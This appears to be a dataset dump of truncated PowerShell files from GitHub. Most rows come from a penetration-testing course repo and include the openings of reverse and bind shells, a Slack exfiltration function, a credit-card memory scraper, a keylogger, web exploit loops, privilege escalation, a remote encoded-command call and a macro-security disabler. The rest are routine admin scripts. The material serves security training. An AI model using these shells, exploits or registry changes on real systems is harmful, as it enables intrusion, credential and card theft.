full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
PowerShellCorpus/Github/ahhh_PSSE/power_top.ps1
power_top.ps1
# PowerTop, PowerShell version of Linux Top # http://superuser.com/questions/176624/linux-top-command-for-windows-powershell $saveY = [console]::CursorTop $saveX = [console]::CursorLeft while ($true) { Get-Process | Sort -Descending CPU | Select -First 30; Sleep -Seconds 2; [console]::setcu...
PowerShellCorpus/Github/ahhh_PSSE/ex_Invoke-SysCommands.ps1
ex_Invoke-SysCommands.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ $DotnetCode = @" public class SysCommands { public static void lookup (string domainname) { System.Diagnostics.Process.Start("nslookup.exe",domainname); } public void netcmd (string cmd) { string cmdstri...
PowerShellCorpus/Github/ahhh_PSSE/Exfil-To-Slack.ps1
Exfil-To-Slack.ps1
#PowerBotv1 #Inspired by: https://github.com/WahlNetwork/powershell-scripts/blob/master/Slack/Post-ToSlack.ps1 #requires -Version 3 function Exfil-To-Slack { <# .SYNOPSIS This function compresses and encrypts files we want to exfiltrate. It currently encodes the data as a base64 to post it to a chat, because t...
PowerShellCorpus/Github/ahhh_PSSE/ex_RemotingRevisited.ps1
ex_RemotingRevisited.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ # Use Invoke-Encode from Nishang to encode a command or script. Invoke-WSManAction -Action Create -ResourceURI wmicimv2/win32_process -ValueSet @{commandline="powershell.exe -e S08t0Q0oyk9OLS7m5QIA"} -ComputerName domainpc –Credential bharat\domainu...
PowerShellCorpus/Github/ahhh_PSSE/sample_bind_shell.ps1
sample_bind_shell.ps1
# Powershell bindshell # Taken from SET: https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/bind.powershell # Set your port $PORT = 31337 $encoding = new-object System.Text.AsciiEncoding $endpoint = new-object System.Net.IpEndpoint ([System.Net.Ipaddress]::any, $PORT) $listener =...
PowerShellCorpus/Github/ahhh_PSSE/sample_portscan.ps1
sample_portscan.ps1
# Powershell program for playing with port scanning # Set your IP to scan and port range $IP = "127.0.0.1" $TCP_PORT_RANGE = 21,22,23,53,80,139,443,445,1433,3306,3389,5900 $UDP_PORT_RANGE = 53,111,123,161,500,514,5060 # TCP Port Scanning using the .Net Socket class foreach ($i in $TCP_PORT_RANGE) { try { ...
PowerShellCorpus/Github/ahhh_PSSE/sample_binary.ps1
sample_binary.ps1
# PowerShell binary operations template # Setup sample binary1 $binary1 = "00111101001101001" echo "binary1: $($binary1)" $int1 = [Convert]::ToInt32($binary1, 2) echo "int1: $($int1)" # Setup sample binary2 $binary2 = "01101000011100011" echo "binary2: $($binary2)" $int2 = [Convert]::ToInt32($binary2, 2) ...
PowerShellCorpus/Github/ahhh_PSSE/Invoke-TCP-Shell.ps1
Invoke-TCP-Shell.ps1
function Invoke-TCP-Shell { <# .SYNOPSIS PowerShell TCP Reverse or Bind interactive shell. Unencrypted. .DESCRIPTION This script is able to connect to a standard netcat listening on a TCP port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific TCP port. ...
PowerShellCorpus/Github/ahhh_PSSE/Scrape-Memory-CCs.ps1
Scrape-Memory-CCs.ps1
function Scrape-Memory-CCs { <# .DESCRIPTION Scrape-Memory-CCs will continously dump memory of a specified process and search for track data or credit card numbers. .PARAMETER Process Specifies the process for which a dump will be generated. The process object is obtained with Get-Process. .PARAMETER DumpF...
PowerShellCorpus/Github/ahhh_PSSE/Get-ScreenShot.ps1
Get-ScreenShot.ps1
function Get-ScreenShot # Orginial script by Guitarrapc: https://gist.github.com/guitarrapc/9870497 # Adopted by Ahhh: https://gist.github.com/ahhh/25a8cb327ea689c8c0eaab6761191ee6 { [CmdletBinding()] param( [parameter(Mandatory = 0)] [ValidateNotNullOrEmpty()] [Alias('Path', 'Ou...
PowerShellCorpus/Github/ahhh_PSSE/sample_xml.ps1
sample_xml.ps1
# XML template and parsing script $sample_xml = [xml] @" <AddressBook> <Person contactType="Security"> <Name>ahhh</Name> <Phone type="home">555-1337</Phone> <Phone type="work">666-1337</Phone> </Person> <Person contactType="Business"> <Name>jim</Name> <Phone type="home">555-1234</Pho...
PowerShellCorpus/Github/ahhh_PSSE/stripper.ps1
stripper.ps1
## Powershell function to quickly strip content out of file function Strip-All { <# .SYNOPSIS PowerShell cmdlet to remove new lines and comments from a script and output a new version of the script .DESCRIPTION script to quickly strip newlines and comments out of a file Currently dosn't handle header descripti...
PowerShellCorpus/Github/ahhh_PSSE/Get-Temperature.ps1
Get-Temperature.ps1
function Get-Temperature { <# .DESCRIPTION Get-Temperature returns the CPU temp in Celsius, Fahrenheit, and Kelvin .EXAMPLE PS C:\> Import-Module Get-Temperature PS C:\> Get-Temperature .LINK https://github.com/ahhh/PSSE/blob/master/Get-Temperature.ps1 https://gist.github.com/jeffa00/9577816 http://a...
PowerShellCorpus/Github/ahhh_PSSE/ex_Operators.ps1
ex_Operators.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ Get-Help *operators*
PowerShellCorpus/Github/ahhh_PSSE/profile.ps1
profile.ps1
# Powershell profile to give persistent command history and logging. Orginal concept from: # http://hackerhurricane.blogspot.com/2014/11/i-powershell-logging-what-everyone.html # https://lopsa.org/content/persistent-history-powershell # Place in: \\Windows\System32\WindowsPowerShell\v1.0\ $LogCommandHealthEvent...
PowerShellCorpus/Github/ahhh_PSSE/sample_certs.ps1
sample_certs.ps1
# PowerShell script for playing around with PKI certificates # Write out all certs Get-ChildItem -Recurse Cert: > certs.txt # Search for all Microsoft certs dir cert:\ -rec | select-String -inputobject {$_.Subject} -pattern "Microsoft" # Print MS root cert thumbprint $targetCert = Get-ChildItem -Recurse Cer...
PowerShellCorpus/Github/ahhh_PSSE/Brute-Basic-Auth.ps1
Brute-Basic-Auth.ps1
## Powershell For Penetration Testers Exam Task 1 - Brute Force Basic Authentication Cmtlet function Brute-Basic-Auth { <# .SYNOPSIS PowerShell cmdlet for brute forcing basic authentication on web servers. .DESCRIPTION this script is able to connect to a webserver and attempt to login with a list of userna...
PowerShellCorpus/Github/ahhh_PSSE/ex_Start-AutoNmap.ps1
ex_Start-AutoNmap.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ $outputpath = "C:\PFPT\" $IPRanges = "192.168.254.0/24", "192.168.1.0/24" foreach ($range in $IPRanges) { $temp = $range -split "/" $file = $temp[0] & "nmap.exe" "-nvv" "-PN" "--top-ports" "20" "$range" "-oX" "$Outputpath\$file.xml"...
PowerShellCorpus/Github/ahhh_PSSE/Create-NFSShare.ps1
Create-NFSShare.ps1
## Powershell function for quickly setting up an NFS Share function Create-Share { <# .SYNOPSIS Quick script for setting up NFS Shares .DESCRIPTION PowerShell cmdlet for quickly creating NFS Shares, works on Windows Server, uses port 111 .PARAMETER ShareDir This is the local folder to share on the network ....
PowerShellCorpus/Github/ahhh_PSSE/sample_json.ps1
sample_json.ps1
# sample JSON manipulation script # Taken from: http://stackoverflow.com/questions/16575419/powershell-retrieve-json-object-by-field-value $json = @" { "Stuffs": [ { "Name": "Computers", "Type": "Fun Stuff" }, { "Name": "Cleaning", ...
PowerShellCorpus/Github/ahhh_PSSE/ex_Privelege_Escalation_Part1.ps1
ex_Privelege_Escalation_Part1.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ (Get-WmiObject win32_service).pathname | Select-String -NotMatch "C:\\windows" | Select-String " " | Select-String -notmatch "`""
PowerShellCorpus/Github/ahhh_PSSE/ex_Registry_Part3.ps1
ex_Registry_Part3.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ # Make the fucntion call to Check-Macrosecurity from the script Registry-Part2.ps1 Invoke-Command -FilePath .\Registry_Part2.ps1 -ComputerName domainpc -Credential bharat\domainuser
PowerShellCorpus/Github/ahhh_PSSE/ex_Show-AdvancedScript.ps1
ex_Show-AdvancedScript.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ function Show-AdvancedScript { [CmdletBinding( SupportsShouldProcess = $True)] param( [Parameter()] $FilePath ) Write-Verbose "Deleting $FilePath" if ($PSCmdlet.ShouldProcess("$FilePath", "Deleting file permanent...
PowerShellCorpus/Github/ahhh_PSSE/ex_Invoke-MoAdminExploit.ps1
ex_Invoke-MoAdminExploit.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ $cmd = "" while($cmd -ne "exit") { Write-Output "MoAdminExploit> " $cmd = Read-Host function post_http ($url, $parameters) { $http_request = New-Object -ComObject Msxml2.XMLHTTP $http_request.open("POST", $url...
PowerShellCorpus/Github/ahhh_PSSE/fractal_mandlebrot.ps1
fractal_mandlebrot.ps1
# Powershell Mandlebrot Set # http://poshcode.org/5845 $i=[float]-16; $j=[float]-16; $r=[float]-16; $x=[float]-16; $y=[float]-16; #Color Array $colors="Black","DarkBlue","DarkGreen","DarkCyan","DarkRed","DarkMagenta","DarkYellow","Gray","DarkGray","Blue","Green","Cyan","Red"...
PowerShellCorpus/Github/ahhh_PSSE/Exploit-CVE-2014-6287.ps1
Exploit-CVE-2014-6287.ps1
function Exploit-CVE-2014-6287 { <# .SYNOPSYS Exploits CVE-2014-6287, which affects HFS servers versions 2.3. .DESCRIPTION Orginally ported from https://www.exploit-db.com/exploits/39161/ This is an older exploit with a metasploit module, but I decided to port it to Powershell for practice and the PSSE Googl...
PowerShellCorpus/Github/ahhh_PSSE/sample_reverse_shell.ps1
sample_reverse_shell.ps1
# Script for playing with a reverseshell in PowerShell # Taken from SET: https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell # Set your IP Address and Port $address = '127.0.0.1' $port = '1337' # Cleanup Function function cleanup { if ($client.Connected -eq $tr...
PowerShellCorpus/Github/ahhh_PSSE/Run-Simple-WebServer.ps1
Run-Simple-WebServer.ps1
function Run-Simple-WebServer { <# .SYNOPSIS Yet Another PowerShell Web Server. This basic webserver allows for the quick and easy modification of a shared folder using a web api .DESCRIPTION A cmdlet to launch a simple PowerShell Web Server (Yet Another PowerShell Web Server). Gives the ability to quickly sha...
PowerShellCorpus/Github/ahhh_PSSE/shellbot.ps1
shellbot.ps1
## ShellBot # A bot that acts as a reverse shell through IRC # This script has been created for completing the requirements of the SecurityTube PowerShell for Penetration Testers Certification Exam # http://www.securitytube-training.com/online-courses/powershell-for-pentesters/ # Student ID: PSP-3061 # Requires: h...
PowerShellCorpus/Github/ahhh_PSSE/ex_Cmdlets.ps1
ex_Cmdlets.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ #Think over the cmdlets which are useful for Penetration Testing Get-Command -CommandType Cmdlet
PowerShellCorpus/Github/ahhh_PSSE/sample_security_logs.ps1
sample_security_logs.ps1
# Sample script for pulling windows security related event logs, largly inspired by similar functions via: https://github.com/obscuresec/PowerShell echo "Looking for PSExec Service Events." $PSExecService = (Get-Eventlog -LogName "system" | Where-Object {$_.EventID -eq 7045} | Where-Object {$_.Message -like "*PSExe...
PowerShellCorpus/Github/ahhh_PSSE/tater.ps1
tater.ps1
# https://raw.githubusercontent.com/Kevin-Robertson/Tater/master/Tater.ps1 Function Invoke-Tater { <# .SYNOPSIS Invoke-Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit from @breenmachine and @foxglovesec. .DESCRIPTION Invoke-Tater is a PowerShell implementation of the...
PowerShellCorpus/Github/ahhh_PSSE/Search-Local-Passwords.ps1
Search-Local-Passwords.ps1
## Powershell For Penetration Testers Exam Task 4 - Extract and decrypt passwords from the registry function Search-Local-Passwords { <# .SYNOPSIS This script searches for passwords stored on the local machine in saved wireless profiles, autologin users, windows vault, lsa secrets, and group policy preferences. ...
PowerShellCorpus/Github/ahhh_PSSE/ex_Remoting_Part4.ps1
ex_Remoting_Part4.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ Get-ChildItem C:\test\*.txt, C:\test\*.xml | Select-String "password","Credential" #Invoke-Command -ScriptBlock {Get-ChildItem C:\test\*.txt, C:\test\*.xml | Select-String "password","Credential"} -ComputerName (Get-Content <listofservers.txt>)
PowerShellCorpus/Github/ahhh_PSSE/Remove-WindowsUpdates.ps1
Remove-WindowsUpdates.ps1
<# .SYNOPSIS Remove All Windows Updates .DESCRIPTION Remove All Windows Updates from OS. .NOTES Original Author : Justin Bennett Date : 2015-12-01 Contact : http://www.allthingstechie.net Adopted : Ahhh Date : 2016-03-...
PowerShellCorpus/Github/ahhh_PSSE/Invoke-UDP-Shell.ps1
Invoke-UDP-Shell.ps1
function Invoke-UDP-Shell { <# .SYNOPSIS PowerShell UDP Reverse or Bind interactive shell. Unencrypted. .DESCRIPTION This script is able to connect to a standard netcat listening on a UDP port when using the -Reverse switch. Also, a standard netcat can connect to this script Bind to a specific UDP port. ...
PowerShellCorpus/Github/ahhh_PSSE/ex_Functions_Part3.ps1
ex_Functions_Part3.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ function Invoke-KillProcess { param ( [Parameter()] [String] $TargetName, [Parameter()] [Switch] $Service, [Parameter()] [String] $ProcID ) if ($Se...
PowerShellCorpus/Github/ahhh_PSSE/ChangeCategory.ps1
ChangeCategory.ps1
# From: http://blogs.msdn.com/b/dimeby8/archive/2009/06/10/change-unidentified-network-from-public-to-work-in-windows-7.aspx # Name: ChangeCategory.ps1 # Copyright: Microsoft 2009 # Revision: 1.0 # # This script can be used to change the network category of # an 'Unidentified' network to Private to allow com...
PowerShellCorpus/Github/ahhh_PSSE/sample_PowerShellRemoting.ps1
sample_PowerShellRemoting.ps1
## PowerShell script for enabling (and disabling) PowerShell Remoting #$COMPUTER = "This machine's fqdn, who whill be executing the PowerShell remoting commands" #$USERNAME = "Username on $COMPUTER executing the remote commands" #$REMOTECOMPUTER = "The machine's fqdn, who issuing the remote commands " ## check ...
PowerShellCorpus/Github/ahhh_PSSE/Get-Keystrokes.ps1
Get-Keystrokes.ps1
function Get-Keystrokes { <# .SYNOPSIS Logs keys pressed, time and the active window. PowerSploit Function: Get-Keystrokes Original Authors: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation) Revised By: Jesse Davis (@secabstraction) Adopted By: ahhh License: BSD 3-Clause Require...
PowerShellCorpus/Github/ahhh_PSSE/Invoke-ICMP-Shell.ps1
Invoke-ICMP-Shell.ps1
function Invoke-ICMP-Shell { <# .SYNOPSIS Reverse interactive PowerShell from the victim to IPAddress over ICMP. .DESCRIPTION This script can receive commands from a server, execute them and return the result to the server using only ICMP. The server to be used with it is icmpsh_m.py from the icmpsh tools (h...
PowerShellCorpus/Github/ahhh_PSSE/Exploit-TrendMicroPWM-LocalNodeJSAPI.ps1
Exploit-TrendMicroPWM-LocalNodeJSAPI.ps1
function Exploit-TrendMicroPWM-LocalNodeJSAPI { <# .SYNOPSYS A local privlidge esc exploit of the old TrendMicro Local NodeJS Api as described here: https://code.google.com/p/google-security-research/issues/detail?id=693 By setting header values we attempt to bypass their patch and exploit the orginal vulnerabli...
PowerShellCorpus/Github/ahhh_PSSE/ex_ReconAndScanning_Part2.ps1
ex_ReconAndScanning_Part2.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ #Save page <# $servers = "google.com", "yahoo.com" foreach ($server in $servers) { $Page = Invoke-WebRequest -Uri http://$server Out-File -InputObject $Page.Content -FilePath "$PWD\$server.html" } #> #Load the Get-HttpStatus f...
PowerShellCorpus/Github/ahhh_PSSE/sample_persistence.ps1
sample_persistence.ps1
# PowerShell script for playing around w/ persistence mechanisms # Mattifestation method, persists by setting powershell script to %UserProfile%\Documents\WindowsPowerShell\profile.ps1 and launching powershell at boot (similar to bash.rc persistence method) # If run as Administrator will persist using WMI consumer ...
PowerShellCorpus/Github/ahhh_PSSE/Scan-Share-Permissions.ps1
Scan-Share-Permissions.ps1
## Powershell For Penetration Testers Exam Task 2 - Enumerate all open shares on a network, noteing read and write access function Scan-Share-Permissions { <# .SYNOPSIS PowerShell cmdlet to scan for open network shares with read and write access .DESCRIPTION this script is able to connect to varous network...
PowerShellCorpus/Github/ahhh_PSSE/Send-File-PSRemoting.ps1
Send-File-PSRemoting.ps1
function Send-File-PSRemoting { <# .SYNOPSIS A cmdlet to let one quickly transfer a file between machines on the local network via PowerShell Remoting .DESCRIPTION A cmdlet to let one quickly transfer a file between machines on the local network via PowerShell Remoting .PARAMETER LocalFile The localfile yo...
PowerShellCorpus/Github/ahhh_PSSE/ex_DotNet-Part2.ps1
ex_DotNet-Part2.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ $DNSClass = [AppDomain]::CurrentDomain.GetAssemblies() | ForEach-Object {$_.GetTypes()}| where {$_.IsPublic -eq "True"} | where {$_.Name -eq "DNS"} $DNSClass | Get-Member -Static $DNSClass::GetHostByName("labofapenetrationtester.com")
PowerShellCorpus/Github/ahhh_PSSE/ex_Basics.ps1
ex_Basics.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ #Get-Help Get-Command -Full #Get-Help about_powershell.exe #Get-Help *command*
PowerShellCorpus/Github/ahhh_PSSE/Scan-with-Yara.ps1
Scan-with-Yara.ps1
function Scan-with-Yara { <# .SYNOPSIS Powershell Cmdlet that allows for the ability to pass the file name of the binary into the YARA rules to as a paramater called Filename. Also allows for the ability to specify arbitrary directories and scan directories recursivly .DESCRIPTION Powershell Cmdlet that allows ...
PowerShellCorpus/Github/ahhh_PSSE/ex_COM_Objects.ps1
ex_COM_Objects.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ $ie = New-Object -ComObject InternetExplorer.Application $ie.Visible = $False #Default is false $ie.Navigate("http://google.com") <# $shell = New-Object -ComObject shell.application $shell | Get-Member #>
PowerShellCorpus/Github/ahhh_PSSE/ex_Invoke-ShellShockExploit.ps1
ex_Invoke-ShellShockExploit.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ $cmd = "" while($cmd -ne "exit") { Write-Output "ShellShock> " $cmd = Read-Host function post_http ($url, $parameters) { $http_request = New-Object -ComObject Msxml2.XMLHTTP $http_request.open("POST", $url, $f...
PowerShellCorpus/Github/ahhh_PSSE/ex_Remoting_Part1.ps1
ex_Remoting_Part1.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ # Replace Computername and Credential with the ones in your lab Get-HotFix -Id KB2871997 -ComputerName domainpc -Credential example\domainuser
PowerShellCorpus/Github/ahhh_PSSE/ex_LoopStatements.ps1
ex_LoopStatements.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ # Using loop foreach ($proc in $procs) {$proc.path} #Without Loop (Get-Process).path
PowerShellCorpus/Github/ahhh_PSSE/ex_Enable_Scripting.ps1
ex_Enable_Scripting.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ # Enable running any PowerShell scripts, normally / default they are restricted #powershell -ExecutionPolicy ByPass -File ./example.ps1 Set-ExecutionPolicy Unrestricted
PowerShellCorpus/Github/ahhh_PSSE/ex_Registry_Part2.ps1
ex_Registry_Part2.ps1
# Example by Nikhil Mittal : http://www.labofapenetrationtester.com/ function Remove-MacroSecurity { #Disable for MS Word $Word = New-Object -ComObject Word.Application $WordVersion = $Word.Version New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$WordVersion\word\Security" -Name AccessVBOM...
PowerShellCorpus/Github/fcdm25_UnmountAllCdInVMwarePowerCLI/VMware unmount all cd.ps1
VMware unmount all cd.ps1
function Load_PowerCLI () { Add-PSSnapin VMware.VimAutomation.Core #Configure PowerCLI to accept multiple connections: Set-PowerCLIConfiguration -DefaultVIServerMode multiple -Confirm:$false Set-PowerCLIConfiguration -DisplayDeprecationWarnings:$false -Confirm:$false } function vCenter_Connect () { ...
PowerShellCorpus/Github/dansonnenburg_NanoServer/Convert-WindowsImage.ps1
Convert-WindowsImage.ps1
############################################################ # Script assembled with makeps1.js from # Convert-WindowsImage-Source.ps1 ############################################################ function Convert-WindowsImage { <# .NOTES Copyright (c) Microsoft Corporation. All rights rese...
PowerShellCorpus/Github/dansonnenburg_NanoServer/New-NanoServer.ps1
New-NanoServer.ps1
Push-Location 'C:\Users\danso\OneDrive\NanoServer' Import-Module .\NanoServerImageGenerator.psm1 $parms.Clear() $parms = @{'BasePath'='D:\NanoServer'; 'TargetPath'='D:\NanoServer\DansNanoServer.vhdx'; 'Compute'=$true; 'Clustering'=$true; 'Containers'=$true; ...
PowerShellCorpus/Github/dansonnenburg_NanoServer/New-NanoServer2.ps1
New-NanoServer2.ps1
Push-Location C:\NanoServer\NanoServerImageGenerator Import-Module .\NanoServerImageGenerator.psm1 #New-NanoServerImage -MediaPath e:\ -BasePath C:\NanoServer <# New-NanoServerImage -BasePath C:\NanoServer -TargetPath C:\NanoServer\NanoPoC.vhdx ` -Compute Guest -Clustering Datacenter -Containers -Storage ` ...
PowerShellCorpus/Github/dansonnenburg_NanoServer/New-NanoServerVHD.ps1
New-NanoServerVHD.ps1
<# .SYNOPSIS Creates a bootable VHD/VHDx containing Windows Server Nano 2016 TP5 .DESCRIPTION Creates a bootable VHD/VHDx containing Windows Server Nano 2016 using the publically available Windows Server 2016 Technical Preview 5 ISO. DO NOT USE THIS WITH EARLIER VERSIONS OF WIND...
PowerShellCorpus/Github/richli8818_richlibot/setup_and_install/new_bot_cleanup.ps1
new_bot_cleanup.ps1
# Retrieving User Information $GITHUBUSER = Read-Host -Prompt "What is your GitHub Username?" Write-Output "" Write-Output "** If you have 2 Factor Auth configured, " Write-Output " provide a Personal Access Token with repo and delete_repo access." Write-Output " Tokens can be generated at https://github.com/s...
PowerShellCorpus/Github/richli8818_richlibot/setup_and_install/bot_install_sandbox.ps1
bot_install_sandbox.ps1
# Ignore SSL Certificate Errors add-type @" using System.Net; using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy { public bool CheckValidationResult( ServicePoint srvPoint, X509Certificate certificate, WebRequest ...
PowerShellCorpus/Github/richli8818_richlibot/setup_and_install/new_bot_setup.ps1
new_bot_setup.ps1
# Retrieving User Information $GITHUBUSER = Read-Host -Prompt "What is your GitHub Username?" Write-Output "" Write-Output "** If you have 2 Factor Auth configured, " Write-Output " provide a Personal Access Token with repo and delete_repo access." Write-Output " Tokens can be generated at https://github.com/s...
PowerShellCorpus/Github/richli8818_richlibot/setup_and_install/bot_config.ps1
bot_config.ps1
# Ignore SSL Certificate Errors add-type @" using System.Net; using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy { public bool CheckValidationResult( ServicePoint srvPoint, X509Certificate certificate, WebRequest ...
PowerShellCorpus/Github/richli8818_richlibot/setup_and_install/bot_uninstall_sandbox.ps1
bot_uninstall_sandbox.ps1
# Ignore SSL Certificate Errors add-type @" using System.Net; using System.Security.Cryptography.X509Certificates; public class TrustAllCertsPolicy : ICertificatePolicy { public bool CheckValidationResult( ServicePoint srvPoint, X509Certificate certificate, WebRequest ...
PowerShellCorpus/Github/amaury2diaz_FutureBuy/Assignment2/packages/EntityFramework.6.1.3/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) if (Get-Module | ?{ $_.Name -eq 'EntityFramework' }) { Remove-Module EntityFramework } Import-Module (Join-Path $toolsPath EntityFramework.psd1) # SIG # Begin signature block # MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQ...
PowerShellCorpus/Github/amaury2diaz_FutureBuy/Assignment2/packages/EntityFramework.6.1.3/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) Initialize-EFConfiguration $project Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer' Write-Host Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma...
PowerShellCorpus/Github/amaury2diaz_FutureBuy/Assignment2/packages/Newtonsoft.Json.6.0.8/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) # open json.net splash page on package install # don't open if json.net is installed as a dependency try { $url = "http://james.newtonking.com/json/install?version=" + $package.Version $dte2 = Get-Interface $dte ([EnvDTE80.DTE2]) if ($dte2.ActiveWin...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/getADUserScriptHomeDriveHomeDirectory.ps1
getADUserScriptHomeDriveHomeDirectory.ps1
IMPORT-MODULE ACTIVEDIRECTORY Get-ADUser -filter 'enabled -eq $true' -properties scriptpath, homedrive, homedirectory | sort-object scriptpath | ft Name, scriptpath, homedrive, homedirectory -Autosize Write-Host "Press any key to continue ..." $x = $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
PowerShellCorpus/Github/sl-NZ_Old_Scripts/Set-MailboxRegion-365.ps1
Set-MailboxRegion-365.ps1
#Get All users language, timezone settings Get-Mailbox | Get-MailboxRegionalConfiguration #Set All users language, timezone settings Get-mailbox -ResultSize unlimited | Set-MailboxRegionalConfiguration -Language en-NZ -DateFormat “d/MM/yyyy” -timezone “New Zealand Standard Time” -timeformat “HH:mm” –LocalizeDe...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/get-TrustedSites.ps1
get-TrustedSites.ps1
$_List1 = @() $_List2 = @() $_List3 = @() $_List1 = $(Get-item 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMapKey' -ErrorAction SilentlyContinue).property $_List2 = $(Get-item 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMapKey' -ErrorActi...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/Get-ProductKey.ps1
Get-ProductKey.ps1
function Get-ProductKey { <# .SYNOPSIS Retrieves the product key and OS information from a local or remote system/s. .DESCRIPTION Retrieves the product key and OS information from a local or remote system/s. Queries of 64bit OS from a 32bit OS will result in ...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/Add-SMTPAddresses.ps1
Add-SMTPAddresses.ps1
<# .SYNOPSIS Add-SMTPAddresses.ps1 - Add SMTP addresses to Office 365 users for a new domain name .DESCRIPTION This PowerShell script will add new SMTP addresses to existing Office 365 mailbox users for a new domain. This script fills the need to make bulk email address changes in Exchange Online when Email Ad...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/passwordLastChange.ps1
passwordLastChange.ps1
IMPORT-MODULE ACTIVEDIRECTORY get-aduser -filter * -properties passwordlastset,passwordneverexpires ` |sort passwordneverexpires,passwordlastset ` |ft Name, passwordlastset, passwordneverexpires -AutoSize ` Write-Host "Press any key to continue ..." $x = $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown") G...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/get_passwordExpiryDate.ps1
get_passwordExpiryDate.ps1
IMPORT-MODULE ACTIVEDIRECTORY Get-AdUser -filter * -properties msDS-userPasswordExpiryTimeComputed | Select-Object -Property "SamAccountName",@{Name="ExpiryDate";Expression={[datetime]::FromFileTime($_."msDS-UserPasswordExpiryTimeComputed")}} | Sort ExpiryDate Write-Host "Press any key to continue ..." $x = $hos...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/getLastLogon.ps1
getLastLogon.ps1
IMPORT-MODULE ACTIVEDIRECTORY Get-AdUser -filter * -Properties LastLogonDate | Sort-Object -property Enabled, LastLogonDate | ft SamAccountName, Enabled, LastLogonDate Write-Host "Press any key to EXIT ..." $x = $host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
PowerShellCorpus/Github/sl-NZ_Old_Scripts/Find-ADInactiveComputers.ps1
Find-ADInactiveComputers.ps1
#requires -version 2 <# .SYNOPSIS Find and manage inactive Active Directory computer objects. .DESCRIPTION This script allows you to specify the criteria required to identify inactive computer objects within your AD environment. This script also allows for the management of found computers. Management of co...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/restart_install_Update.ps1
restart_install_Update.ps1
Function WSUSUpdate { $Criteria = "IsInstalled=0 and Type='Software'" $Searcher = New-Object -ComObject Microsoft.Update.Searcher try { $SearchResult = $Searcher.Search($Criteria).Updates if ($SearchResult.Count -eq 0) { Write-Output "There are no applicable updates." exit } else { $Sessi...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/Create-Folder-Inside-Existing-Structure-v2.ps1
Create-Folder-Inside-Existing-Structure-v2.ps1
# Written by Sanil Lad at Focus Technology # Creates a folder structure within existing location # Creates folders within existing patient attachment folders (has a filter to only look at the past 5 days work) Start-Transcript -Append -Path "C:\temp\WanakaMedical\TestFolder\PatientFolderCreation.log" Get-Date...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/setSingleUserPasswordExpiryFlat.ps1
setSingleUserPasswordExpiryFlat.ps1
Import-Module ActiveDirectory Set-ADUser -Identity Admin -PasswordNeverExpires $true Set-ADUser -Identity reception1 -PasswordNeverExpires $true Set-ADUser -Identity reception2 -PasswordNeverExpires $true Set-ADUser -Identity reception3 -PasswordNeverExpires $true Set-ADUser -Identity reception4 -PasswordNeverEx...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/RenameSiteFilesv2.ps1
RenameSiteFilesv2.ps1
#Get-ChildItem "S:\*" -Filter '*&*' -Recurse | Rename-Item -NewName {$_.name -replace ‘-’,’i’ } #Get-ChildItem "S:\Clients\*" -Filter '*&*' -Recurse | % {Write-Host $_.FullName} $results = ((Get-ChildItem "S:\" -Filter '*&*' -Recurse | Where {$_.FullName -notlike "*\#recycle\*"} | % {Write-Host $_.FullName}) -jo...
PowerShellCorpus/Github/sl-NZ_Old_Scripts/Show Mailbox Databases.ps1
Show Mailbox Databases.ps1
add-pssnapin Microsoft.Exchange.Management.PowerShell.E2010 Get-MailboxDatabase -Status | select Server, AdminDisplayName, DatabaseSize, AvailableNewMailboxSpace | sort DatabaseSize -descending | fl
